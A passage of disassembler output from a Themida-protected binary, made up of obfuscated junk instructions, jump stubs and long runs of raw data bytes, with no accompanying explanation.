		dd 0DCF658FFh, 0EC80ECD0h, 0C6B353FCh, 0E9F6C380h, 0FFFF5218h
		dd 8904EC83h, 5954240Ch, 1F52B850h, 0E9485EAAh,	0FFFFF71Dh
; ---------------------------------------------------------------------------


loc_5638E0:				; CODE XREF: Themida_:00561EDFj
		xor	eax, [esp]
		jmp	loc_556BA3
; ---------------------------------------------------------------------------
		dd 875BDF01h, 0F6E9243Ch
		db 0EFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5638F3:				; CODE XREF: Themida_:00554CA9j
		add	esi, ebx
		pop	ebx
		push	4345h
		mov	[esp], ebx
		jmp	loc_558796
; ---------------------------------------------------------------------------
		db 59h
		dd 72E95904h, 89FFFF8Eh, 0BA52240Ch, 4,	0E95AD189h, 0FFFFAFD4h
; ---------------------------------------------------------------------------


loc_56391C:				; CODE XREF: Themida_:00555180j
		mov	ebx, eax
		jmp	loc_55B26A
; ---------------------------------------------------------------------------
		db 59h
		dd 31240433h, 4332404h,	24248B24h, 55241489h, 0FF2AFCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563939:				; CODE XREF: Themida_:00558287j
		pop	edi
		and	edx, esi
		pop	esi
		push	eax
		mov	eax, 18322036h
		sub	edx, eax
		pop	eax
		add	ebx, edx
		jmp	loc_55CD3B
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0BCh
		dd 4544FB33h, 6653ED81h, 0E90130EFh, 240C875Dh,	6295E95Ch
		dd 0C681FFFFh, 2E6172EEh, 623DEE81h, 0C68129FEh, 0F672DE0Fh
		dd 0D2E9F209h, 50FFFF5Ah, 0AD3916B8h, 0E9C52903h, 0FFFF3E83h
		dd 6850EE87h, 67F76676h, 0FF3F38E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563999:				; CODE XREF: Themida_:00554437j
		shr	esi, 6
		add	esi, 3F6FE05h
		xor	edi, esi
		pop	esi
		not	edi
		and	edi, 783E0A23h
		sub	edi, 58390A23h
		mov	ebx, edi
		pop	edi
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_557CFA
; ---------------------------------------------------------------------------
		db 0BFh
		dd 434F33B6h, 0BD55DFF7h, 48C3C738h, 0E95DEF29h, 0FFFFAFCFh
		dd 4C481h, 0BB530000h, 4, 0FF135BE9h, 240C8BFFh, 0FFB9FFE9h
		dd 0A7968FFh, 14890000h, 61B8BA24h, 0BF57524Eh,	2B9E3C05h
		dd 8105EFC1h, 0D71B67E7h, 4EC8340h, 0B8240489h,	24D764C0h
		dd 0EC83E0D1h, 242C8904h, 0FFDAE2E9h, 2434FFFFh, 4C4835Dh
		dd 8107EDC1h, 8C1695F5h, 8BEB217Bh, 0C483242Ch,	68D3F704h
		dd 37D5h, 68243C89h, 546BF2DAh,	0E9243C8Bh, 0FFFFC52Ch
		dd 0BE243489h, 72610199h, 4EC81h, 14890000h, 81E28924h
		dd 4C2h, 4EA8300h, 5C241487h, 56242C89h, 0C20672BEh, 4564BD09h
		dd 0F501340Ah, 0FFF052E9h, 0EC835CFFh, 2C896602h, 74FF6624h
		dd 8B660224h, 8950242Ch, 4EC81E0h, 89000000h, 4BA2414h
		dd 2D000000h, 2D1D01CCh, 0BF57D001h, 2D1D01CCh,	0FFE454E9h
		dd 240C8BFFh, 4C481h, 0C1810000h, 4, 4BD55h, 0C1E90000h
		dd 50FFFFE2h, 4711A668h, 0D1E9587Eh, 68FFFEF6h,	7CAh, 0BE243489h
		dd 7FAFA301h, 50E6E953h, 0D2F6FFFFh, 0C0DEF280h, 0E28002E2h
		dd 0CFEA800Ah, 805AD300h, 0B45040EBh, 0E9FC861Dh, 0FFFF944Eh
		dd 8324048Fh, 0FF042404h, 835E2434h, 0E95304C4h, 0FFFFF92Fh
		dd 1F6CC181h, 0F9293DAAh, 1F6CE981h, 585F3DAAh,	5C240C87h
		dd 0E9C0B60Fh, 0B82h, 4C5835Fh,	8904EC83h, 79E9242Ch, 59FFFFB4h
		dd 287CEB80h, 3B2C5BD8h, 572C9504h, 5704C800h, 53CE9h
		db 0
; ---------------------------------------------------------------------------


loc_563B69:				; CODE XREF: Themida_:0055708Cj
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ecx
		push	ebx
		push	16AA569Fh
		pop	ebx
		jmp	loc_55B36D
; ---------------------------------------------------------------------------


loc_563B81:				; CODE XREF: Themida_:0055D54Bj
		push	edx
		mov	edx, esi
		mov	ebp, edx
		pop	edx
		jmp	loc_560BD0
; ---------------------------------------------------------------------------


loc_563B8C:				; CODE XREF: Themida_:0055BC23j
		add	esp, 4
		add	ebp, eax
		sub	ebp, 4EDA1460h
		jmp	loc_561C68
; ---------------------------------------------------------------------------
dword_563B9C	dd 240C8B66h, 4EC8353h,	83242489h, 0C8904ECh, 0D3BB5324h
					; DATA XREF: Themida_:00550D54o
		dd 0E9490249h, 0FFFF0403h, 0D158C189h, 88E956E1h, 59FFFFE6h
		dd 0C104C483h, 0EF8108E7h, 5CE6D6FCh, 34FF5E57h, 0C4815F24h
		dd 4, 1598E9h
		db 0
; ---------------------------------------------------------------------------


loc_563BE1:				; CODE XREF: Themida_:00552D3Bj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 1Ch
		jmp	loc_562771
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0C28E924h, 34FF0000h, 71E95A24h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563C03:				; CODE XREF: Themida_:005612D6j
		add	esp, 4
		push	5C0Ch
		jmp	loc_556591
; ---------------------------------------------------------------------------


loc_563C10:				; CODE XREF: Themida_:0056293Cj
		sub	ecx, 98ED207Ch
		mov	ebx, ecx
		jmp	loc_55D57F
; ---------------------------------------------------------------------------
		db 68h,	0DCh, 3
		dd 0E95A1132h, 0FFFF04F3h
; ---------------------------------------------------------------------------


loc_563C28:				; CODE XREF: Themida_:005533A9j
		mov	eax, 3C7A5DECh
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_55A6FB
; ---------------------------------------------------------------------------
		db 52h
		dd 88E6B151h, 0C68059CEh, 5AF4884Dh, 5866E108h,	2D46E950h
		dd 0D029FFFFh, 609EB951h, 0C82901A7h, 2434FF59h, 4C4815Ah
		dd 0E9000000h, 0FFFEF112h, 0F844E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563C6E:				; CODE XREF: Themida_:0055F772j
		push	edx
		jmp	loc_55699E
; ---------------------------------------------------------------------------
		dd 2C8BE901h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_564AB9
; ---------------------------------------------------------------------------


loc_563C90:				; CODE XREF: Themida_:0055FC55j
		push	eax
		mov	eax, 761B083Ch
		or	edx, eax
		pop	eax
		push	ebp
		jmp	loc_558720
; ---------------------------------------------------------------------------
		db 87h
		dd 8F5C241Ch, 248B2404h, 0CDBD5524h, 81170338h,	0CE34D8C2h
		dd 51EA0133h, 1258DEB9h, 0BAE9816Ah, 411D5D11h,	0FFB217E9h
		dd 2474FFFFh, 240C8B04h, 8F04C483h, 0C4E92404h,	68FFFF11h
		dd 31D9h, 0FF23FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563CE5:				; CODE XREF: Themida_:00558783j
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_55C961
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 74FF505Dh, 79E90424h, 0F6000007h, 0B60F66F9h, 586866CCh
		dd 0C896676h, 0B60F6624h, 9C5166C8h, 0FED236E9h, 241C89FFh
		dd 0FF6F46E9h, 0E1C166FFh, 0C9816607h, 0DEE93BF3h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563D3F:				; CODE XREF: Themida_:00551F27j
		mov	edx, 60D005B7h
		jmp	loc_56252F
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0F4h
		dd 29759894h, 0C2015BDAh, 12B6B951h, 0E1812528h, 19CC0C93h
		dd 0E1C1D9F7h, 220BE908h, 0E95AFFFFh, 0FFFFC147h
; ---------------------------------------------------------------------------


loc_563D70:				; CODE XREF: Themida_:00561FB0j
		neg	eax
		jmp	loc_555667
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5A04C4h, 9BE92434h, 8BFFFF38h, 0C4832414h, 74A5E904h
		dd 0C22CFFFFh, 5351242Ch, 0FFEFA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563D99:				; CODE XREF: Themida_:00551E9Aj
		push	dword ptr [esp]
		jmp	loc_555BDE
; ---------------------------------------------------------------------------


loc_563DA1:				; CODE XREF: Themida_:0055698Fj
		xchg	edx, esi
		push	ecx
		mov	ecx, 57DE5883h
		shl	ecx, 5
		sub	ecx, 74200BF5h
		sub	esi, ecx
		pop	ecx
		push	esi
		sub	dword ptr [esp], 1AA10E6Ch
		pop	ebx
		push	eax
		mov	eax, 27DE0724h
		sub	eax, 33CD5B60h
		not	eax
		add	eax, 20D46702h
		jmp	loc_553B83
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0BD55E389h, 233F1BB6h, 2E8DCD81h, 0EDC160B5h, 8E5C106h
		dd 10BB534Dh, 81198346h, 783843CBh, 0BCE38143h,	811DA878h
		dd 56EE1CC3h, 5BDD3162h, 9BCFED81h, 87E9F503h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E13:				; CODE XREF: Themida_:0056000Dj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_563571
; ---------------------------------------------------------------------------
		db 55h
		dd 0FF35DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563E31:				; CODE XREF: Themida_:005626AFj
		push	ebx
		mov	ebx, 0B35C152Ah
		jmp	loc_564C4B
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 86E90000h, 0BBFFFFE1h, 60B247D6h
		dd 815EF331h, 4ECh, 243C8900h, 290E5ABFh, 0EFF7817Ch, 1683F1Eh
		dd 0E94B5FFBh, 1768h, 241C895Ch, 9E240481h, 58329876h
		dd 4EC81h, 99E90000h, 40FFFFA6h, 0FF23E9E9h, 4E983FFh
		dd 0E9240C87h, 0FFFF1705h, 4BBh, 883E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563EA2:				; CODE XREF: Themida_:0055FCF2j
		xor	edi, 649B0F88h
		jmp	loc_55E290
; ---------------------------------------------------------------------------


loc_563EAD:				; CODE XREF: Themida_:0055C80Bj
		mov	[esp], ecx
		push	eax
		mov	eax, 27B83481h
		or	eax, 3C6F2D45h
		dec	eax
		jmp	loc_56232F
; ---------------------------------------------------------------------------


loc_563EC1:				; CODE XREF: Themida_:00552524j
		pop	edi
		add	esi, 4E2C6B8Bh
		jmp	loc_561F27
; ---------------------------------------------------------------------------


loc_563ECD:				; CODE XREF: Themida_:00560429j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		jmp	loc_55A2BB
; ---------------------------------------------------------------------------


loc_563EDC:				; CODE XREF: Themida_:0055AD2Ej
		add	edx, 0BB930003h
		jmp	loc_55D094
; ---------------------------------------------------------------------------
		db 68h
		dd 1C88h, 0FF4C28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563EF1:				; CODE XREF: Themida_:0055800Dj
		shr	eax, 0Bh
		jmp	loc_5516B2
; ---------------------------------------------------------------------------
byte_563EF9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550D98o
		db '$h;',0Ah,0
		align 2
		dw 7DE9h
		dd 89FFFF7Bh, 4C181E1h,	0E9000000h, 0FFFF6B2Eh
; ---------------------------------------------------------------------------


loc_563F14:				; CODE XREF: Themida_:00565A36j
		sub	eax, edi
		pop	edi
		not	eax
		shl	eax, 6
		and	eax, 0EA83099h
		xor	eax, 22A73935h
		jmp	loc_553D78
; ---------------------------------------------------------------------------


loc_563F2B:				; CODE XREF: Themida_:00558A93j
		pop	eax
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55FC0D
; ---------------------------------------------------------------------------


loc_563F3A:				; CODE XREF: Themida_:0055151Dj
		push	2D09h
		mov	[esp], ebx
		jmp	loc_5656F5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EE8300h, 31243433h, 7AE92434h, 81FFFF9Fh, 4C3h
		dd 4EB8300h, 0FF8CC1E9h, 80F300FFh, 148B4FC3h, 57066824h
		dd 1C890000h, 815B5424h, 4C3h, 0F5BD5500h, 8143C517h, 0C225ACC5h
		dd 9DED810Ch, 150873Dh,	1C875DEBh, 0BB535C24h, 6001248Eh
		dd 68h,	241C2900h, 0FF85B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563FAD:				; CODE XREF: Themida_:00563167j
		mov	[esp], ebp
		mov	ebp, 24331C77h
		jmp	loc_55F182
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 0FF8C86E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563FC5:				; CODE XREF: Themida_:00561138j
		push	4895h
		mov	[esp], eax
		push	979h
		push	esp
		pop	dword ptr [esp]
		push	edx
		push	2324h
		mov	[esp], esi
		mov	esi, 0B871184h
		sub	esp, 4
		jmp	loc_558508
; ---------------------------------------------------------------------------
		dd offset dword_457444+0D524h
		align 4
		dd 4E168h, 24248900h, 0DF17E955h, 0C681FFFFh, 58DEE797h
		dd 6DBF5756h, 2939DD71h, 5F04247Ch, 0E068575Ah,	5F059D3Eh
		dd 5867EF81h, 0EF814621h, 859E750Ch, 0FF2864E9h, 81E389FFh
		dd 4C3h, 4EB8100h, 81000000h, 4ECh, 241C8900h, 42474FFh
		dd 83241C8Bh, 95E904C4h, 81FFFF7Fh, 0D012B9E9h,	50D10146h
		dd 0D012B9B8h, 58C10146h, 0FFA65CE9h, 58E620FFh, 0F0885066h
		dd 0EC81D0F6h, 4, 88241C89h, 5BDE88C3h,	0FFE126E9h, 240C89FFh
		dd 0FF2B47E9h, 4C481FFh, 87000000h, 248B240Ch, 14896624h
		dd 9C506624h, 0FECEBAE9h, 51952CFFh, 0FFA9E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5640AD:				; CODE XREF: Themida_:0055562Bj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55D987
; ---------------------------------------------------------------------------


loc_5640C0:				; CODE XREF: Themida_:0055CDE2j
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	45A6h
		jmp	loc_56123F
; ---------------------------------------------------------------------------


loc_5640D5:				; CODE XREF: Themida_:00562B14j
		pop	ebx
		shr	ebx, 8
		jmp	loc_55148B
; ---------------------------------------------------------------------------
		dw 665Ah
		dd 8B66D831h, 0FFE9241Ch, 58FFFFC4h, 4C481h, 48F0000h
		dd 24248B24h, 2424D366h, 0CE5DE99Ch, 0F581FFFEh, 5D879FCEh
		dd 0D5E9EE89h, 51FFFED9h, 8904EC83h, 4812424h, 424h, 0C2E95900h
		db 6, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_564123:				; CODE XREF: Themida_:005654B2j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_552A5E
; ---------------------------------------------------------------------------
		dd 8B241487h, 48B2424h,	0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 8924248Bh, 58542404h, 0FFCF23E9h,	4DE95DFFh
		dd 89FFFF7Eh, 4C281E2h,	83000000h, 0F5E904C2h, 54FFFFE5h
		dd 5124048Fh, 4B9h, 244C0100h, 81595904h, 4C1h,	4B85000h
		dd 1000000h, 0C8758C1h,	89505C24h, 405E0h, 42D0000h, 33000000h
		dd 4312404h, 24043324h,	2414895Ch, 0FFA1FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5641A9:				; CODE XREF: Themida_:0055B2F1j
		push	ecx
		mov	ecx, 2FF5070Ch
		not	ecx
		jmp	loc_56361D
; ---------------------------------------------------------------------------


loc_5641B6:				; CODE XREF: Themida_:0055D023j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	eax
		push	24h
		pop	eax
		add	eax, edi
		push	ebx
		push	0
		pop	ebx
		add	ebx, eax
		add	[ebx], ebp
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4


loc_5641E3:				; CODE XREF: Themida_:00557549j
		push	4752h
		mov	[esp], ebx
		xor	dword ptr [esp], 5EE77CD0h
		jmp	loc_564D1F
; ---------------------------------------------------------------------------
		db 89h
		dd 0C9815DE9h, 298D7BC9h, 7E6EE981h, 0E1C1492Ah, 0A3F18106h
		dd 81186602h, 26A7A1C1h, 0E9C801CBh, 0FFFEFE00h
; ---------------------------------------------------------------------------


loc_56421C:				; CODE XREF: Themida_:00562E76j
		xchg	ebx, ecx
		jmp	loc_551233
; ---------------------------------------------------------------------------
		db 0B9h
		dd 53F4436h, 0FF416FE9h, 81DFF6FFh, 4ECh, 24148900h, 0D73001B2h
		dd 5BF8005Ah, 0FF9D0AE9h, 243489FFh, 0CA6AE954h, 5351FFFFh
		dd 5ADD6850h, 19E93F51h, 68FFFEF1h, 88F3A9Ch, 8B2434FFh
		dd 0C4832404h, 4C48304h, 0FF3E1DE9h, 0C6815EFFh, 4, 4C681h
		dd 34870000h, 0D8E95C24h, 1FFFECCh, 0D5EB81FBh,	0E93B6420h
		dd 0FFFF1EF4h, 0FFD13158h, 835A2434h, 0BF5704C4h, 377C4D3Fh
		dd 4E20BB53h, 0F381101Fh, 7324B755h, 0FFA0FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5642B5:				; CODE XREF: Themida_:005562CEj
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55BA9C
; ---------------------------------------------------------------------------


loc_5642C6:				; CODE XREF: Themida_:0055A1C3j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_552AA8
; ---------------------------------------------------------------------------


loc_5642D8:				; CODE XREF: Themida_:0056571Ej
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	605Bh
		mov	[esp], edi
		push	edx
		mov	edx, 37202CB3h
		jmp	loc_560D7D
; ---------------------------------------------------------------------------


loc_5642F4:				; CODE XREF: Themida_:0055CE0Ej
		pop	edx
		sub	ecx, 1CE91DE2h
		sub	edx, ecx
		jmp	loc_553F87
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 44037F2h, 8876F781h,	0F929158Eh, 0FFC7B9E9h,	36E281FFh
		dd 0F71B7D73h, 0E9D2F7D2h, 0FFFF6658h, 17EB805Ah, 8051EB80h
		dd 0C32826EBh, 8026C380h, 2E951C3h
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56433B:				; CODE XREF: Themida_:00554821j
		mov	ebx, ebp
		jmp	loc_561AA9
; ---------------------------------------------------------------------------


loc_564342:				; CODE XREF: Themida_:00560056j
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55DBA2
; ---------------------------------------------------------------------------


loc_564357:				; CODE XREF: Themida_:0055136Dj
		push	ebp
		jmp	loc_554832
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 5
		dd 0E903E5C1h, 0FFFEE04Eh
; ---------------------------------------------------------------------------


loc_564368:				; CODE XREF: Themida_:005599B2j
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	400h
		push	dword ptr [esp]
		jmp	loc_558206
; ---------------------------------------------------------------------------
		db 5Fh,	89h, 0FEh
		dd 0C6814E5Fh, 0F54404Fh, 5003EEC1h, 648FBB53h,	0EB817D47h
		dd 2376783Ch, 56C1F381h, 95E94841h, 57FFFF2Fh, 143677BFh
		dd 0BB3EE94Ch, 0EC83FFFFh, 4067E902h, 6855FFFFh, 731F33FBh
		dd 0F3E9455Dh, 5BFFFFBBh, 5271B450h, 12E4E9h, 0D5895500h
		dd 8B5DEE89h, 89512414h, 0B4C3E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5643E2:				; CODE XREF: Themida_:0055282Bj
		push	dword ptr [esp]
		jmp	loc_564DF1
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0FF319AE9h, 0EC8351FFh, 24248904h, 4240483h
		dd 0E9240C8Bh, 0FFFF274Ch, 5EBC159h, 0E904EC83h, 0FFFF1D1Bh
; ---------------------------------------------------------------------------


loc_564414:				; CODE XREF: Themida_:0055DDA3j
		pop	edi
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_55D028
; ---------------------------------------------------------------------------
		dw 0D701h
		dd 4EC815Ah, 89000000h,	0BE562414h, 4, 34FFF289h, 0C4815E24h
		dd 4, 575AD701h, 42474FFh, 24048F5Fh, 0FF24248Bh, 2DE92434h
		dd 29FFFFDAh, 1113E9F2h, 5166FFFFh, 0CE2824B1h,	0F0285966h
		dd 0E924148Bh, 0FFFF3E5Ch, 24048F58h, 0CACDE95Ch, 0F753FFFEh
		dd 815B2414h, 9549B0C3h, 2BF1683Dh, 2C890000h, 38AC6824h
		dd 76E91781h, 29FFFFF5h, 0C2295BDAh, 0FF36F4E9h, 4EC83FFh
		dd 89241489h, 4C281E2h,	83000000h, 148704C2h, 68AAE924h
		dd 0F4B3FFFFh, 0C002EBC0h, 0BE903E3h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5644DF:				; CODE XREF: Themida_:00553D2Ej
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55B008
; ---------------------------------------------------------------------------


loc_5644F7:				; CODE XREF: Themida_:00556430j
		pop	ecx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_5535D1
; ---------------------------------------------------------------------------
		dd 348BF329h, 4C48324h,	83E9D801h, 1000010h, 34B951F7h
		dd 2963304Dh, 335E59CFh, 3EE9243Ch, 53FFFF5Ah, 8850E388h
		dd 58C688D8h, 3268585Bh, 0E900003Fh, 0FFFEF0DBh, 4C481h
		dd 0D9280000h, 22F1805Bh, 6AE9D9F6h
		db 0E5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564553:				; CODE XREF: Themida_:00554C3Dj
		add	esi, 6EB2E309h
		and	edx, esi
		jmp	loc_55702C
; ---------------------------------------------------------------------------
dword_564560	dd 6824048Bh, 75B1h, 54241489h,	0FEE0C9E9h, 50ED81FFh
					; DATA XREF: Themida_:00550EDCo
		dd 296A5109h, 0EAB8E9DDh, 0C483FFFEh, 0A6E95304h, 5DFFFFFAh
		dd 8247C01h, 2454295Fh,	601AE904h, 0CDB3FFFFh, 0FF7E3CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56459D:				; CODE XREF: Themida_:0055ED9Dj
		push	6404h
		mov	[esp], eax
		push	7E900530h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	4AEh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_55A872
; ---------------------------------------------------------------------------
		db 5, 35h, 5Fh
		dd 0E95F2FA6h, 0FFFF9473h, 1D71E981h, 0F181102Ch, 37EB3ECDh
		dd 756EBB53h, 0E0E961EBh, 4EFFFF84h, 91E9DEF7h,	0BFFFFF8Ch
		dd 1E54224Bh, 3806C781h, 0F921E5EDh, 0E6C1815Fh, 21624FD4h
		dd 0F78759CFh, 0FF3552E9h, 0E95D5BFFh, 0FFFFD603h, 0EE9E689h
		dd 0BDFFFFD8h, 2B6A227Eh, 53CD814Dh, 4D00477Eh,	0EC83DD87h
		dd 241C8904h, 5B2414F7h, 0F581DD87h, 0E436EC7Eh, 0D15DEB29h
		dd 0C3814BE3h, 69041C44h, 0FFB0A5E9h, 0AE956FFh
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564657:				; CODE XREF: Themida_:005598C9j
		add	esp, 4
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 45261378h
		mov	ebp, 784F3E79h
		sub	ebp, edi
		jmp	loc_561DEA
; ---------------------------------------------------------------------------


loc_564676:				; CODE XREF: Themida_:00562EB2j
		add	ebp, 4
		push	edi
		jmp	loc_5525C6
; ---------------------------------------------------------------------------
word_564682	dw 34FFh		; DATA XREF: Themida_:00550D88o
		dd 240C8B24h, 0FF0119E9h, 52F929FFh, 6C1668h, 24348900h
		dd 0A0638268h, 0EE815E45h, 24F6AC5h, 0FF3E0CE9h, 8EC281FFh
		dd 5624634Bh, 5C1571BEh, 1BCE813Dh, 811DB131h, 8D2D74EEh
		dd 2BEBE9C3h, 34FFFFFFh, 20BB5387h, 2920CC03h, 5B04245Ch
		dd 0C0E6858h, 34890000h, 684FBE24h, 0BB537592h,	555E6B6Fh
		dd 15BDE31h, 2434FFF0h,	0FF2434FFh, 0E95E2434h,	0FFFF24BFh
		dd 0F9D56856h, 15E98E2h, 0D1685EF0h, 89000056h,	0C589242Ch
		dd 0E95DEB89h, 0FFFEF18Ah, 0B8240489h, 20403AA4h, 0FF9694E9h
		dd 5BDD01FFh, 0FEDA42E9h, 240489FFh, 88FD8851h,	0C18859E8h
		dd 874C8858h, 34FF5901h, 0A8E95B24h, 68FFFF86h,	1692h
		dd 0BD242C89h, 74AF1222h, 0E95DEF29h, 0FFFEE8B5h
; ---------------------------------------------------------------------------


loc_56475C:				; CODE XREF: Themida_:00560D96j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5653C6
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFFD62h
; ---------------------------------------------------------------------------


loc_564770:				; CODE XREF: Themida_:00563155j
		pop	eax
		pop	edx
		or	eax, 1D8B363Ah
		xor	eax, 182B2BCFh
		add	eax, 0D85FE2D4h
		jmp	loc_56124F
; ---------------------------------------------------------------------------


loc_564786:				; CODE XREF: Themida_:00558A58j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55530C
; ---------------------------------------------------------------------------
		dd 0E951CF88h, 0FFFFAB23h, 34FFFA20h, 850E924h,	0C381FFFFh
		dd 4, 4EB81h, 1C870000h, 1C895C24h, 565B5424h, 11570568h
		dd 0EC835E61h, 241C8904h, 0BF4863BBh, 5BDE0934h, 5FA1E953h
		db 2 dup(0FFh)
word_5647D6	dw 9D68h		; DATA XREF: Themida_:00550DC4o
		dd 89000008h, 0E189240Ch, 15576853h, 1C8B33DBh,	4C48124h
		dd 0E9000000h, 0FFFFDE26h, 5504C483h, 171B6853h, 0F75B7C00h
		dd 0E0B850D3h, 0E983FFE8h, 0FFFED930h
; ---------------------------------------------------------------------------


loc_56480C:				; CODE XREF: Themida_:005552F7j
		inc	ebx
		shl	ebx, 1
		jmp	loc_55AFAA
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0C78004C4h, 1BAAE9DEh, 685CFFFFh,	72A8h
		dd 0BE243489h, 30B827D7h, 0D2EE814Eh, 130B827h,	0A163E9F5h
		dd 5166FFFFh, 0C719E99Ch, 835AFFFEh, 48702C0h, 0C7B3E924h
		dd 0E8C1FFFFh, 31C83108h, 0E9C231D0h, 0FFFED602h, 5E2434FFh
		dd 0D490E956h, 0EC80FFFEh, 0FC00E94Dh, 895CFFFEh, 8B542434h
		dd 89522434h, 5B6D68E2h, 0C890000h, 4A53B924h, 8141682Dh
		dd 0C476B8C9h, 0CAE9812Bh, 513FEB57h, 0F7240C87h, 240C87D1h
		dd 81240C8Bh, 4C4h, 0F8BBE900h
		db 0FEh, 0FFh
word_5648AE	dw 34FFh		; DATA XREF: Themida_:00550D6Co
		dd 0EC835924h, 24348904h, 0C681E689h, 4, 0FF26D3E9h, 0C875AFFh
		dd 0C8855C24h, 0C68DE99Ch, 1C89FFFEh, 0C7F2E924h, 0D366FFFFh
		dd 0E99C2404h, 0FFFEC67Bh, 841FE95Ch, 0C181FFFFh, 71EA2EEBh
		dd 5705E9C1h, 4B3F5CBFh, 0C4EF8160h, 31F3DE51h,	0CF295FF9h
		dd 5A40559h, 0F801279Fh, 9F05A42Dh, 243C8B27h, 4C481h
		dd 0C0830000h, 24048704h, 7EE9525Ch, 8900000Bh,	814A58C2h
		dd 92EB3C2h, 0FCC28128h, 1823D8Bh, 42D5AD0h, 87000000h
		dd 895C2404h, 2CBF243Ch, 4F2F131Eh, 0D5F7EF87h,	6DE9EF87h
		db 0FBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564957:				; CODE XREF: Themida_:loc_55FFFDj
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		shr	ebp, 4
		jmp	loc_5530D1
; ---------------------------------------------------------------------------
		db 0B9h, 5Dh, 72h
		dd 0D9F72A96h, 0C107E9C1h, 0F18105E1h, 37541A42h, 5507E1C1h
		dd 9F5CFEBDh, 3EDC128h,	0D5F7DDF7h, 12E9D5F7h, 1FFFF30h
		dd 89565EF0h, 4C681E6h,	81000000h, 4EEh, 0BFEAE900h, 0E1C1FFFFh
		dd 4174E902h, 0D668FFFFh, 5B6EA756h, 4AD0E381h,	0E38114C0h
		dd 516763B2h, 0BD71C381h, 0DF89FFFFh, 0A24DE95Bh, 0EF81FFFFh
		dd 6DB51BEDh, 0C781D701h, 6DB51BEDh, 8124148Bh,	4C4h, 4C78100h
